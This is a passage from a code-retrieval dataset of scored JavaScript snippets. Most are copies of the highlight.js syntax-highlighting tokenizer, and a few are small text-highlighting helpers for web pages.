(mode.endsParent && mode.parent) {\n mode = mode.parent;\n }\n return mode;\n }\n if (mode.endsWithParent) {\n return endOfMode(mode.parent, lexeme);\n }\n }\n\n function isIllegal(lexeme, mode) {\n return !ignore_illegals && testRe(mode.illegalRe, lexeme);\n }\n\n function keywordMatch(mode, match) {\n var match_str = language.case_insensitive ? match[0].toLowerCase() : match[0];\n return mode.keywords.hasOwnProperty(match_str) && mode.keywords[match_str];\n }\n\n function buildSpan(classname, insideSpan, leaveOpen, noPrefix) {\n var classPrefix = noPrefix ? '' : options.classPrefix,\n openSpan = '<span class=\"' + classPrefix,\n closeSpan = leaveOpen ? '' : '</span>';\n\n openSpan += classname + '\">';\n\n return openSpan + insideSpan + closeSpan;\n }\n\n function processKeywords() {\n if (!top.keywords)\n return escape(mode_buffer);\n var result = '';\n var last_index = 0;\n top.lexemesRe.lastIndex = 0;\n var match = top.lexemesRe.exec(mode_buffer);\n while (match) {\n result += escape(mode_buffer.substr(last_index, match.index - last_index));\n var keyword_match = keywordMatch(top, match);\n if (keyword_match) {\n relevance += keyword_match[1];\n result += buildSpan(keyword_match[0], escape(match[0]));\n } else {\n result += escape(match[0]);\n }\n last_index = top.lexemesRe.lastIndex;\n match = top.lexemesRe.exec(mode_buffer);\n }\n return result + escape(mode_buffer.substr(last_index));\n }\n\n function processSubLanguage() {\n var explicit = typeof top.subLanguage == 'string';\n if (explicit && !languages[top.subLanguage]) {\n return escape(mode_buffer);\n }\n\n var result = explicit ?\n highlight(top.subLanguage, mode_buffer, true, continuations[top.subLanguage]) :\n highlightAuto(mode_buffer, top.subLanguage.length ? top.subLanguage : undefined);\n\n // Counting embedded language score towards the host language may be disabled\n // with zeroing the containing mode relevance. Usecase in point is Markdown that\n // allows XML everywhere and makes every XML snippet to have a much larger Markdown\n // score.\n if (top.relevance > 0) {\n relevance += result.relevance;\n }\n if (explicit) {\n continuations[top.subLanguage] = result.top;\n }\n return buildSpan(result.language, result.value, false, true);\n }\n\n function processBuffer() {\n result += (top.subLanguage !== undefined ? processSubLanguage() : processKeywords());\n mode_buffer = '';\n }\n\n function startNewMode(mode, lexeme) {\n result += mode.className? buildSpan(mode.className, '', true): '';\n top = Object.create(mode, {parent: {value: top}});\n }\n\n function processLexeme(buffer, lexeme) {\n\n mode_buffer += buffer;\n\n if (lexeme === undefined) {\n processBuffer();\n return 0;\n }\n\n var new_mode = subMode(lexeme, top);\n if (new_mode) {\n if (new_mode.skip) {\n mode_buffer += lexeme;\n } else {\n if (new_mode.excludeBegin) {\n mode_buffer += lexeme;\n }\n processBuffer();\n if (!new_mode.returnBegin && !new_mode.excludeBegin) {\n mode_buffer = lexeme;\n }\n }\n startNewMode(new_mode, lexeme);\n return new_mode.returnBegin ? 0 : lexeme.length;\n }\n\n var end_mode = endOfMode(top, lexeme);\n if (end_mode) {\n var origin = top;\n if (origin.skip) {\n mode_buffer += lexeme;\n } else {\n if (!(origin.returnEnd || origin.excludeEnd)) {\n mode_buffer += lexeme;\n }\n processBuffer();\n if (origin.excludeEnd) {\n mode_buffer = lexeme;\n }\n }\n do {\n if (top.className) {\n result += '</span>';\n }\n if (!top.skip) {\n relevance += top.relevance;\n }\n top = top.parent;\n } while (top != end_mode.parent);\n if (end_mode.starts) {\n startNewMode(end_mode.starts, '');\n }\n return origin.returnEnd ? 0 : lexeme.length;\n }\n\n if (isIllegal(lexeme, top))\n throw new Error('Illegal lexeme \"' + lexeme + '\" for mode \"' + (top.className || '<unnamed>') + '\"');\n\n /*\n Parser should not reach this point as all types of lexemes should be caught\n earlier, but if it does due to some bug make sure it advances at least one\n character forward to prevent infinite looping.\n */\n mode_buffer += lexeme;\n return lexeme.length || 1;\n }\n\n var language = getLanguage(name);\n if (!language) {\n throw new Error('Unknown language: \"' + name + '\"');\n }\n\n compileLanguage(language);\n var top = continuation || language;\n var continuations = {}; // keep continuations for sub-languages\n var result = '', current;\n for(current = top; current != language; current = current.parent) {\n if (current.className) {\n result = buildSpan(current.className, '', true) + result;\n }\n }\n var mode_buffer = '';\n var relevance = 0;\n try {\n var match, count, index = 0;\n while (true) {\n top.terminators.lastIndex = index;\n match = top.terminators.exec(value);\n if (!match)\n break;\n count = processLexeme(value.substr(index, match.index - index), match[0]);\n index = match.index + count;\n }\n processLexeme(value.substr(index));\n for(current = top; current.parent; current = current.parent) { // close dangling modes\n if (current.className) {\n result += '</span>';\n }\n }\n return {\n relevance: relevance,\n value: result,\n language: name,\n top: top\n };\n } catch (e) {\n if (e.message.indexOf('Illegal') != -1) {\n return {\n relevance: 0,\n value: escape(value)\n };\n } else {\n throw e;\n }\n }\n }", "title": "" }, { "docid": "355a4bceab9e9d329344e9b33a052980", "score": "0.5422859", "text": "function highlight(name, value, ignore_illegals, continuation) {\n\n function subMode(lexeme, mode) {\n for (var i = 0; i < mode.contains.length; i++) {\n if (testRe(mode.contains[i].beginRe, lexeme)) {\n return mode.contains[i];\n }\n }\n }\n\n function endOfMode(mode, lexeme) {\n if (testRe(mode.endRe, lexeme)) {\n while (mode.endsParent && mode.parent) {\n mode = mode.parent;\n }\n return mode;\n }\n if (mode.endsWithParent) {\n return endOfMode(mode.parent, lexeme);\n }\n }\n\n function isIllegal(lexeme, mode) {\n return !ignore_illegals && testRe(mode.illegalRe, lexeme);\n }\n\n function keywordMatch(mode, match) {\n var match_str = language.case_insensitive ? match[0].toLowerCase() : match[0];\n return mode.keywords.hasOwnProperty(match_str) && mode.keywords[match_str];\n }\n\n function buildSpan(classname, insideSpan, leaveOpen, noPrefix) {\n var classPrefix = noPrefix ? '' : options.classPrefix,\n openSpan = '<span class=\"' + classPrefix,\n closeSpan = leaveOpen ? '' : '</span>';\n\n openSpan += classname + '\">';\n\n return openSpan + insideSpan + closeSpan;\n }\n\n function processKeywords() {\n if (!top.keywords)\n return escape(mode_buffer);\n var result = '';\n var last_index = 0;\n top.lexemesRe.lastIndex = 0;\n var match = top.lexemesRe.exec(mode_buffer);\n while (match) {\n result += escape(mode_buffer.substr(last_index, match.index - last_index));\n var keyword_match = keywordMatch(top, match);\n if (keyword_match) {\n relevance += keyword_match[1];\n result += buildSpan(keyword_match[0], escape(match[0]));\n } else {\n result += escape(match[0]);\n }\n last_index = top.lexemesRe.lastIndex;\n match = top.lexemesRe.exec(mode_buffer);\n }\n return result + escape(mode_buffer.substr(last_index));\n }\n\n function processSubLanguage() {\n var explicit = typeof top.subLanguage == 'string';\n if (explicit && !languages[top.subLanguage]) {\n return escape(mode_buffer);\n }\n\n var result = explicit ?\n highlight(top.subLanguage, mode_buffer, true, continuations[top.subLanguage]) :\n highlightAuto(mode_buffer, top.subLanguage.length ? top.subLanguage : undefined);\n\n // Counting embedded language score towards the host language may be disabled\n // with zeroing the containing mode relevance. Usecase in point is Markdown that\n // allows XML everywhere and makes every XML snippet to have a much larger Markdown\n // score.\n if (top.relevance > 0) {\n relevance += result.relevance;\n }\n if (explicit) {\n continuations[top.subLanguage] = result.top;\n }\n return buildSpan(result.language, result.value, false, true);\n }\n\n function processBuffer() {\n return top.subLanguage !== undefined ? processSubLanguage() : processKeywords();\n }\n\n function startNewMode(mode, lexeme) {\n var markup = mode.className? buildSpan(mode.className, '', true): '';\n if (mode.returnBegin) {\n result += markup;\n mode_buffer = '';\n } else if (mode.excludeBegin) {\n result += escape(lexeme) + markup;\n mode_buffer = '';\n } else {\n result += markup;\n mode_buffer = lexeme;\n }\n top = Object.create(mode, {parent: {value: top}});\n }\n\n function processLexeme(buffer, lexeme) {\n\n mode_buffer += buffer;\n if (lexeme === undefined) {\n result += processBuffer();\n return 0;\n }\n\n var new_mode = subMode(lexeme, top);\n if (new_mode) {\n result += processBuffer();\n startNewMode(new_mode, lexeme);\n return new_mode.returnBegin ? 0 : lexeme.length;\n }\n\n var end_mode = endOfMode(top, lexeme);\n if (end_mode) {\n var origin = top;\n if (!(origin.returnEnd || origin.excludeEnd)) {\n mode_buffer += lexeme;\n }\n result += processBuffer();\n do {\n if (top.className) {\n result += '</span>';\n }\n relevance += top.relevance;\n top = top.parent;\n } while (top != end_mode.parent);\n if (origin.excludeEnd) {\n result += escape(lexeme);\n }\n mode_buffer = '';\n if (end_mode.starts) {\n startNewMode(end_mode.starts, '');\n }\n return origin.returnEnd ? 0 : lexeme.length;\n }\n\n if (isIllegal(lexeme, top))\n throw new Error('Illegal lexeme \"' + lexeme + '\" for mode \"' + (top.className || '<unnamed>') + '\"');\n\n /*\n Parser should not reach this point as all types of lexemes should be caught\n earlier, but if it does due to some bug make sure it advances at least one\n character forward to prevent infinite looping.\n */\n mode_buffer += lexeme;\n return lexeme.length || 1;\n }\n\n var language = getLanguage(name);\n if (!language) {\n throw new Error('Unknown language: \"' + name + '\"');\n }\n\n compileLanguage(language);\n var top = continuation || language;\n var continuations = {}; // keep continuations for sub-languages\n var result = '', current;\n for(current = top; current != language; current = current.parent) {\n if (current.className) {\n result = buildSpan(current.className, '', true) + result;\n }\n }\n var mode_buffer = '';\n var relevance = 0;\n try {\n var match, count, index = 0;\n while (true) {\n top.terminators.lastIndex = index;\n match = top.terminators.exec(value);\n if (!match)\n break;\n count = processLexeme(value.substr(index, match.index - index), match[0]);\n index = match.index + count;\n }\n processLexeme(value.substr(index));\n for(current = top; current.parent; current = current.parent) { // close dangling modes\n if (current.className) {\n result += '</span>';\n }\n }\n return {\n relevance: relevance,\n value: result,\n language: name,\n top: top\n };\n } catch (e) {\n if (e.message.indexOf('Illegal') != -1) {\n return {\n relevance: 0,\n value: escape(value)\n };\n } else {\n throw e;\n }\n }\n }", "title": "" }, { "docid": "355a4bceab9e9d329344e9b33a052980", "score": "0.5422859", "text": "function highlight(name, value, ignore_illegals, continuation) {\n\n function subMode(lexeme, mode) {\n for (var i = 0; i < mode.contains.length; i++) {\n if (testRe(mode.contains[i].beginRe, lexeme)) {\n return mode.contains[i];\n }\n }\n }\n\n function endOfMode(mode, lexeme) {\n if (testRe(mode.endRe, lexeme)) {\n while (mode.endsParent && mode.parent) {\n mode = mode.parent;\n }\n return mode;\n }\n if (mode.endsWithParent) {\n return endOfMode(mode.parent, lexeme);\n }\n }\n\n function isIllegal(lexeme, mode) {\n return !ignore_illegals && testRe(mode.illegalRe, lexeme);\n }\n\n function keywordMatch(mode, match) {\n var match_str = language.case_insensitive ? match[0].toLowerCase() : match[0];\n return mode.keywords.hasOwnProperty(match_str) && mode.keywords[match_str];\n }\n\n function buildSpan(classname, insideSpan, leaveOpen, noPrefix) {\n var classPrefix = noPrefix ? '' : options.classPrefix,\n openSpan = '<span class=\"' + classPrefix,\n closeSpan = leaveOpen ? '' : '</span>';\n\n openSpan += classname + '\">';\n\n return openSpan + insideSpan + closeSpan;\n }\n\n function processKeywords() {\n if (!top.keywords)\n return escape(mode_buffer);\n var result = '';\n var last_index = 0;\n top.lexemesRe.lastIndex = 0;\n var match = top.lexemesRe.exec(mode_buffer);\n while (match) {\n result += escape(mode_buffer.substr(last_index, match.index - last_index));\n var keyword_match = keywordMatch(top, match);\n if (keyword_match) {\n relevance += keyword_match[1];\n result += buildSpan(keyword_match[0], escape(match[0]));\n } else {\n result += escape(match[0]);\n }\n last_index = top.lexemesRe.lastIndex;\n match = top.lexemesRe.exec(mode_buffer);\n }\n return result + escape(mode_buffer.substr(last_index));\n }\n\n function processSubLanguage() {\n var explicit = typeof top.subLanguage == 'string';\n if (explicit && !languages[top.subLanguage]) {\n return escape(mode_buffer);\n }\n\n var result = explicit ?\n highlight(top.subLanguage, mode_buffer, true, continuations[top.subLanguage]) :\n highlightAuto(mode_buffer, top.subLanguage.length ? top.subLanguage : undefined);\n\n // Counting embedded language score towards the host language may be disabled\n // with zeroing the containing mode relevance. Usecase in point is Markdown that\n // allows XML everywhere and makes every XML snippet to have a much larger Markdown\n // score.\n if (top.relevance > 0) {\n relevance += result.relevance;\n }\n if (explicit) {\n continuations[top.subLanguage] = result.top;\n }\n return buildSpan(result.language, result.value, false, true);\n }\n\n function processBuffer() {\n return top.subLanguage !== undefined ? processSubLanguage() : processKeywords();\n }\n\n function startNewMode(mode, lexeme) {\n var markup = mode.className? buildSpan(mode.className, '', true): '';\n if (mode.returnBegin) {\n result += markup;\n mode_buffer = '';\n } else if (mode.excludeBegin) {\n result += escape(lexeme) + markup;\n mode_buffer = '';\n } else {\n result += markup;\n mode_buffer = lexeme;\n }\n top = Object.create(mode, {parent: {value: top}});\n }\n\n function processLexeme(buffer, lexeme) {\n\n mode_buffer += buffer;\n if (lexeme === undefined) {\n result += processBuffer();\n return 0;\n }\n\n var new_mode = subMode(lexeme, top);\n if (new_mode) {\n result += processBuffer();\n startNewMode(new_mode, lexeme);\n return new_mode.returnBegin ? 0 : lexeme.length;\n }\n\n var end_mode = endOfMode(top, lexeme);\n if (end_mode) {\n var origin = top;\n if (!(origin.returnEnd || origin.excludeEnd)) {\n mode_buffer += lexeme;\n }\n result += processBuffer();\n do {\n if (top.className) {\n result += '</span>';\n }\n relevance += top.relevance;\n top = top.parent;\n } while (top != end_mode.parent);\n if (origin.excludeEnd) {\n result += escape(lexeme);\n }\n mode_buffer = '';\n if (end_mode.starts) {\n startNewMode(end_mode.starts, '');\n }\n return origin.returnEnd ? 0 : lexeme.length;\n }\n\n if (isIllegal(lexeme, top))\n throw new Error('Illegal lexeme \"' + lexeme + '\" for mode \"' + (top.className || '<unnamed>') + '\"');\n\n /*\n Parser should not reach this point as all types of lexemes should be caught\n earlier, but if it does due to some bug make sure it advances at least one\n character forward to prevent infinite looping.\n */\n mode_buffer += lexeme;\n return lexeme.length || 1;\n }\n\n var language = getLanguage(name);\n if (!language) {\n throw new Error('Unknown language: \"' + name + '\"');\n }\n\n compileLanguage(language);\n var top = continuation || language;\n var continuations = {}; // keep continuations for sub-languages\n var result = '', current;\n for(current = top; current != language; current = current.parent) {\n if (current.className) {\n result = buildSpan(current.className, '', true) + result;\n }\n }\n var mode_buffer = '';\n var relevance = 0;\n try {\n var match, count, index = 0;\n while (true) {\n top.terminators.lastIndex = index;\n match = top.terminators.exec(value);\n if (!match)\n break;\n count = processLexeme(value.substr(index, match.index - index), match[0]);\n index = match.index + count;\n }\n processLexeme(value.substr(index));\n for(current = top; current.parent; current = current.parent) { // close dangling modes\n if (current.className) {\n result += '</span>';\n }\n }\n return {\n relevance: relevance,\n value: result,\n language: name,\n top: top\n };\n } catch (e) {\n if (e.message.indexOf('Illegal') != -1) {\n return {\n relevance: 0,\n value: escape(value)\n };\n } else {\n throw e;\n }\n }\n }", "title": "" }, { "docid": "dec4f332fee89a5cd401b8ea3d02a75d", "score": "0.5422859", "text": "function highlight(name, value, ignore_illegals, continuation) {\n\n function subMode(lexeme, mode) {\n for (var i = 0; i < mode.contains.length; i++) {\n if (testRe(mode.contains[i].beginRe, lexeme)) {\n return mode.contains[i];\n }\n }\n }\n\n function endOfMode(mode, lexeme) {\n if (testRe(mode.endRe, lexeme)) {\n while (mode.endsParent && mode.parent) {\n mode = mode.parent;\n }\n return mode;\n }\n if (mode.endsWithParent) {\n return endOfMode(mode.parent, lexeme);\n }\n }\n\n function isIllegal(lexeme, mode) {\n return !ignore_illegals && testRe(mode.illegalRe, lexeme);\n }\n\n function keywordMatch(mode, match) {\n var match_str = language.case_insensitive ? match[0].toLowerCase() : match[0];\n return mode.keywords.hasOwnProperty(match_str) && mode.keywords[match_str];\n }\n\n function buildSpan(classname, insideSpan, leaveOpen, noPrefix) {\n var classPrefix = noPrefix ? '' : options.classPrefix,\n openSpan = '<span class=\"' + classPrefix,\n closeSpan = leaveOpen ? '' : '</span>';\n\n openSpan += classname + '\">';\n\n return openSpan + insideSpan + closeSpan;\n }\n\n function processKeywords() {\n if (!top.keywords)\n return escape(mode_buffer);\n var result = '';\n var last_index = 0;\n top.lexemesRe.lastIndex = 0;\n var match = top.lexemesRe.exec(mode_buffer);\n while (match) {\n result += escape(mode_buffer.substr(last_index, match.index - last_index));\n var keyword_match = keywordMatch(top, match);\n if (keyword_match) {\n relevance += keyword_match[1];\n result += buildSpan(keyword_match[0], escape(match[0]));\n } else {\n result += escape(match[0]);\n }\n last_index = top.lexemesRe.lastIndex;\n match = top.lexemesRe.exec(mode_buffer);\n }\n return result + escape(mode_buffer.substr(last_index));\n }\n\n function processSubLanguage() {\n var explicit = typeof top.subLanguage == 'string';\n if (explicit && !languages[top.subLanguage]) {\n return escape(mode_buffer);\n }\n\n var result = explicit ?\n highlight(top.subLanguage, mode_buffer, true, continuations[top.subLanguage]) :\n highlightAuto(mode_buffer, top.subLanguage.length ? top.subLanguage : undefined);\n\n // Counting embedded language score towards the host language may be disabled\n // with zeroing the containing mode relevance. Usecase in point is Markdown that\n // allows XML everywhere and makes every XML snippet to have a much larger Markdown\n // score.\n if (top.relevance > 0) {\n relevance += result.relevance;\n }\n if (explicit) {\n continuations[top.subLanguage] = result.top;\n }\n return buildSpan(result.language, result.value, false, true);\n }\n\n function processBuffer() {\n result += (top.subLanguage !== undefined ? processSubLanguage() : processKeywords());\n mode_buffer = '';\n }\n\n function startNewMode(mode, lexeme) {\n result += mode.className? buildSpan(mode.className, '', true): '';\n top = Object.create(mode, {parent: {value: top}});\n }\n\n function processLexeme(buffer, lexeme) {\n\n mode_buffer += buffer;\n\n if (lexeme === undefined) {\n processBuffer();\n return 0;\n }\n\n var new_mode = subMode(lexeme, top);\n if (new_mode) {\n if (new_mode.skip) {\n mode_buffer += lexeme;\n } else {\n if (new_mode.excludeBegin) {\n mode_buffer += lexeme;\n }\n processBuffer();\n if (!new_mode.returnBegin && !new_mode.excludeBegin) {\n mode_buffer = lexeme;\n }\n }\n startNewMode(new_mode, lexeme);\n return new_mode.returnBegin ? 0 : lexeme.length;\n }\n\n var end_mode = endOfMode(top, lexeme);\n if (end_mode) {\n var origin = top;\n if (origin.skip) {\n mode_buffer += lexeme;\n } else {\n if (!(origin.returnEnd || origin.excludeEnd)) {\n mode_buffer += lexeme;\n }\n processBuffer();\n if (origin.excludeEnd) {\n mode_buffer = lexeme;\n }\n }\n do {\n if (top.className) {\n result += '</span>';\n }\n if (!top.skip) {\n relevance += top.relevance;\n }\n top = top.parent;\n } while (top != end_mode.parent);\n if (end_mode.starts) {\n startNewMode(end_mode.starts, '');\n }\n return origin.returnEnd ? 0 : lexeme.length;\n }\n\n if (isIllegal(lexeme, top))\n throw new Error('Illegal lexeme \"' + lexeme + '\" for mode \"' + (top.className || '<unnamed>') + '\"');\n\n /*\n Parser should not reach this point as all types of lexemes should be caught\n earlier, but if it does due to some bug make sure it advances at least one\n character forward to prevent infinite looping.\n */\n mode_buffer += lexeme;\n return lexeme.length || 1;\n }\n\n var language = getLanguage(name);\n if (!language) {\n throw new Error('Unknown language: \"' + name + '\"');\n }\n\n compileLanguage(language);\n var top = continuation || language;\n var continuations = {}; // keep continuations for sub-languages\n var result = '', current;\n for(current = top; current != language; current = current.parent) {\n if (current.className) {\n result = buildSpan(current.className, '', true) + result;\n }\n }\n var mode_buffer = '';\n var relevance = 0;\n try {\n var match, count, index = 0;\n while (true) {\n top.terminators.lastIndex = index;\n match = top.terminators.exec(value);\n if (!match)\n break;\n count = processLexeme(value.substr(index, match.index - index), match[0]);\n index = match.index + count;\n }\n processLexeme(value.substr(index));\n for(current = top; current.parent; current = current.parent) { // close dangling modes\n if (current.className) {\n result += '</span>';\n }\n }\n return {\n relevance: relevance,\n value: result,\n language: name,\n top: top\n };\n } catch (e) {\n if (e.message.indexOf('Illegal') != -1) {\n return {\n relevance: 0,\n value: escape(value)\n };\n } else {\n throw e;\n }\n }\n }", "title": "" }, { "docid": "6d2b9b19b8c943f2df38f8498c8455c8", "score": "0.54213077", "text": "function highlight(name, value, ignore_illegals, continuation) {\n\t\n\t function subMode(lexeme, mode) {\n\t for (var i = 0; i < mode.contains.length; i++) {\n\t if (testRe(mode.contains[i].beginRe, lexeme)) {\n\t return mode.contains[i];\n\t }\n\t }\n\t }\n\t\n\t function endOfMode(mode, lexeme) {\n\t if (testRe(mode.endRe, lexeme)) {\n\t while (mode.endsParent && mode.parent) {\n\t mode = mode.parent;\n\t }\n\t return mode;\n\t }\n\t if (mode.endsWithParent) {\n\t return endOfMode(mode.parent, lexeme);\n\t }\n\t }\n\t\n\t function isIllegal(lexeme, mode) {\n\t return !ignore_illegals && testRe(mode.illegalRe, lexeme);\n\t }\n\t\n\t function keywordMatch(mode, match) {\n\t var match_str = language.case_insensitive ? match[0].toLowerCase() : match[0];\n\t return mode.keywords.hasOwnProperty(match_str) && mode.keywords[match_str];\n\t }\n\t\n\t function buildSpan(classname, insideSpan, leaveOpen, noPrefix) {\n\t var classPrefix = noPrefix ? '' : options.classPrefix,\n\t openSpan = '<span class=\"' + classPrefix,\n\t closeSpan = leaveOpen ? '' : '</span>';\n\t\n\t openSpan += classname + '\">';\n\t\n\t return openSpan + insideSpan + closeSpan;\n\t }\n\t\n\t function processKeywords() {\n\t if (!top.keywords)\n\t return escape(mode_buffer);\n\t var result = '';\n\t var last_index = 0;\n\t top.lexemesRe.lastIndex = 0;\n\t var match = top.lexemesRe.exec(mode_buffer);\n\t while (match) {\n\t result += escape(mode_buffer.substr(last_index, match.index - last_index));\n\t var keyword_match = keywordMatch(top, match);\n\t if (keyword_match) {\n\t relevance += keyword_match[1];\n\t result += buildSpan(keyword_match[0], escape(match[0]));\n\t } else {\n\t result += escape(match[0]);\n\t }\n\t last_index = top.lexemesRe.lastIndex;\n\t match = top.lexemesRe.exec(mode_buffer);\n\t }\n\t return result + escape(mode_buffer.substr(last_index));\n\t }\n\t\n\t function processSubLanguage() {\n\t var explicit = typeof top.subLanguage == 'string';\n\t if (explicit && !languages[top.subLanguage]) {\n\t return escape(mode_buffer);\n\t }\n\t\n\t var result = explicit ?\n\t highlight(top.subLanguage, mode_buffer, true, continuations[top.subLanguage]) :\n\t highlightAuto(mode_buffer, top.subLanguage.length ? top.subLanguage : undefined);\n\t\n\t // Counting embedded language score towards the host language may be disabled\n\t // with zeroing the containing mode relevance. Usecase in point is Markdown that\n\t // allows XML everywhere and makes every XML snippet to have a much larger Markdown\n\t // score.\n\t if (top.relevance > 0) {\n\t relevance += result.relevance;\n\t }\n\t if (explicit) {\n\t continuations[top.subLanguage] = result.top;\n\t }\n\t return buildSpan(result.language, result.value, false, true);\n\t }\n\t\n\t function processBuffer() {\n\t return top.subLanguage !== undefined ? processSubLanguage() : processKeywords();\n\t }\n\t\n\t function startNewMode(mode, lexeme) {\n\t var markup = mode.className? buildSpan(mode.className, '', true): '';\n\t if (mode.returnBegin) {\n\t result += markup;\n\t mode_buffer = '';\n\t } else if (mode.excludeBegin) {\n\t result += escape(lexeme) + markup;\n\t mode_buffer = '';\n\t } else {\n\t result += markup;\n\t mode_buffer = lexeme;\n\t }\n\t top = Object.create(mode, {parent: {value: top}});\n\t }\n\t\n\t function processLexeme(buffer, lexeme) {\n\t\n\t mode_buffer += buffer;\n\t if (lexeme === undefined) {\n\t result += processBuffer();\n\t return 0;\n\t }\n\t\n\t var new_mode = subMode(lexeme, top);\n\t if (new_mode) {\n\t result += processBuffer();\n\t startNewMode(new_mode, lexeme);\n\t return new_mode.returnBegin ? 0 : lexeme.length;\n\t }\n\t\n\t var end_mode = endOfMode(top, lexeme);\n\t if (end_mode) {\n\t var origin = top;\n\t if (!(origin.returnEnd || origin.excludeEnd)) {\n\t mode_buffer += lexeme;\n\t }\n\t result += processBuffer();\n\t do {\n\t if (top.className) {\n\t result += '</span>';\n\t }\n\t relevance += top.relevance;\n\t top = top.parent;\n\t } while (top != end_mode.parent);\n\t if (origin.excludeEnd) {\n\t result += escape(lexeme);\n\t }\n\t mode_buffer = '';\n\t if (end_mode.starts) {\n\t startNewMode(end_mode.starts, '');\n\t }\n\t return origin.returnEnd ? 0 : lexeme.length;\n\t }\n\t\n\t if (isIllegal(lexeme, top))\n\t throw new Error('Illegal lexeme \"' + lexeme + '\" for mode \"' + (top.className || '<unnamed>') + '\"');\n\t\n\t /*\n\t Parser should not reach this point as all types of lexemes should be caught\n\t earlier, but if it does due to some bug make sure it advances at least one\n\t character forward to prevent infinite looping.\n\t */\n\t mode_buffer += lexeme;\n\t return lexeme.length || 1;\n\t }\n\t\n\t var language = getLanguage(name);\n\t if (!language) {\n\t throw new Error('Unknown language: \"' + name + '\"');\n\t }\n\t\n\t compileLanguage(language);\n\t var top = continuation || language;\n\t var continuations = {}; // keep continuations for sub-languages\n\t var result = '', current;\n\t for(current = top; current != language; current = current.parent) {\n\t if (current.className) {\n\t result = buildSpan(current.className, '', true) + result;\n\t }\n\t }\n\t var mode_buffer = '';\n\t var relevance = 0;\n\t try {\n\t var match, count, index = 0;\n\t while (true) {\n\t top.terminators.lastIndex = index;\n\t match = top.terminators.exec(value);\n\t if (!match)\n\t break;\n\t count = processLexeme(value.substr(index, match.index - index), match[0]);\n\t index = match.index + count;\n\t }\n\t processLexeme(value.substr(index));\n\t for(current = top; current.parent; current = current.parent) { // close dangling modes\n\t if (current.className) {\n\t result += '</span>';\n\t }\n\t }\n\t return {\n\t relevance: relevance,\n\t value: result,\n\t language: name,\n\t top: top\n\t };\n\t } catch (e) {\n\t if (e.message.indexOf('Illegal') != -1) {\n\t return {\n\t relevance: 0,\n\t value: escape(value)\n\t };\n\t } else {\n\t throw e;\n\t }\n\t }\n\t }", "title": "" }, { "docid": "6deea8db402717d895af9bf23c1fae21", "score": "0.5416558", "text": "function highlightChange(percent){\n\tif(percent.match(/[-]/i))\n\t\treturn `change(24Hr):<b style=\"color:red;\"> ${percent}%</b>`;\n\telse\n\t\treturn `change(24Hr):<b style = \"color:green;\"> ${percent}%</b>`;\n}//end highlighChange", "title": "" }, { "docid": "3628264e9b9e3a5b022fe6767ad6032a", "score": "0.54158795", "text": "function highlight(counter){\n\tdocument.getElementsByTagName(\"h2\")[counter].innerHTML = document.getElementsByTagName(\"h2\")[counter].innerText.replace(/\\b(\\w+)\\b/g, \n\t\tfunction(str){\n\t\t\tif (str) {\n\t\t\t\thighlighted++;\n\t\t\t\twords.push(str)\n\n\t\t\t\treturn '<span id=\"highlighted-' + highlighted + '\">'+str+'</span>';\n\t\t\t}\n\t\t}\n\t);\n\n\twords.push(\" \");\n\n}", "title": "" }, { "docid": "23f973fc51aa84880b70cf5aa965854b", "score": "0.54105824", "text": "function highlightSearchTerms(searchText, treatAsPhrase, warnOnFailure, highlightStartTag, highlightEndTag)\n{\n // if the treatAsPhrase parameter is true, then we should search for \n // the entire phrase that was entered; otherwise, we will split the\n // search string so that each word is searched for and highlighted\n // individually\n if (searchText.length < 1) {\n\treturn false;\n }\n if (searchText.indexOf('-') > 0){\n\treturn false;\n }\n// searchText = searchText.replace('-', '')\n// searchText = searchText.replace('\\s+', ' ')\n if (treatAsPhrase) {\n searchArray = [searchText];\n } else {\n searchArray = searchText.split(\" \");\n }\n \n if (!document.body || typeof(document.body.innerHTML) == \"undefined\") {\n if (warnOnFailure) {\n alert(\"Sorry, for some reason the text of this page is unavailable. Searching will not work.\");\n }\n return false;\n }\n \n var bodyText = document.body.innerHTML;\n for (var i = 0; i < searchArray.length; i++) {\n bodyText = doHighlight(bodyText, searchArray[i], highlightStartTag, highlightEndTag);\n }\n \n document.body.innerHTML = bodyText;\n return true;\n}", "title": "" }, { "docid": "6f74de23b146fccbdf61bedfcae05997", "score": "0.54069567", "text": "function highlight(name, value, ignore_illegals, continuation) {\n function escapeRe(value) {\n return new RegExp(value.replace(/[-\\/\\\\^$*+?.()|[\\]{}]/g, '\\\\$&'), 'm');\n }\n\n function subMode(lexeme, mode) {\n var i, length;\n\n for (i = 0, length = mode.contains.length; i < length; i++) {\n if (testRe(mode.contains[i].beginRe, lexeme)) {\n if (mode.contains[i].endSameAsBegin) {\n mode.contains[i].endRe = escapeRe(mode.contains[i].beginRe.exec(lexeme)[0]);\n }\n\n return mode.contains[i];\n }\n }\n }\n\n function endOfMode(mode, lexeme) {\n if (testRe(mode.endRe, lexeme)) {\n while (mode.endsParent && mode.parent) {\n mode = mode.parent;\n }\n\n return mode;\n }\n\n if (mode.endsWithParent) {\n return endOfMode(mode.parent, lexeme);\n }\n }\n\n function isIllegal(lexeme, mode) {\n return !ignore_illegals && testRe(mode.illegalRe, lexeme);\n }\n\n function keywordMatch(mode, match) {\n var match_str = language.case_insensitive ? match[0].toLowerCase() : match[0];\n return mode.keywords.hasOwnProperty(match_str) && mode.keywords[match_str];\n }\n\n function buildSpan(classname, insideSpan, leaveOpen, noPrefix) {\n var classPrefix = noPrefix ? '' : options.classPrefix,\n openSpan = '<span class=\"' + classPrefix,\n closeSpan = leaveOpen ? '' : spanEndTag;\n openSpan += classname + '\">';\n return openSpan + insideSpan + closeSpan;\n }\n\n function processKeywords() {\n var keyword_match, last_index, match, result;\n if (!top.keywords) return escape(mode_buffer);\n result = '';\n last_index = 0;\n top.lexemesRe.lastIndex = 0;\n match = top.lexemesRe.exec(mode_buffer);\n\n while (match) {\n result += escape(mode_buffer.substring(last_index, match.index));\n keyword_match = keywordMatch(top, match);\n\n if (keyword_match) {\n relevance += keyword_match[1];\n result += buildSpan(keyword_match[0], escape(match[0]));\n } else {\n result += escape(match[0]);\n }\n\n last_index = top.lexemesRe.lastIndex;\n match = top.lexemesRe.exec(mode_buffer);\n }\n\n return result + escape(mode_buffer.substr(last_index));\n }\n\n function processSubLanguage() {\n var explicit = typeof top.subLanguage === 'string';\n\n if (explicit && !languages[top.subLanguage]) {\n return escape(mode_buffer);\n }\n\n var result = explicit ? highlight(top.subLanguage, mode_buffer, true, continuations[top.subLanguage]) : highlightAuto(mode_buffer, top.subLanguage.length ? top.subLanguage : undefined); // Counting embedded language score towards the host language may be disabled\n // with zeroing the containing mode relevance. Usecase in point is Markdown that\n // allows XML everywhere and makes every XML snippet to have a much larger 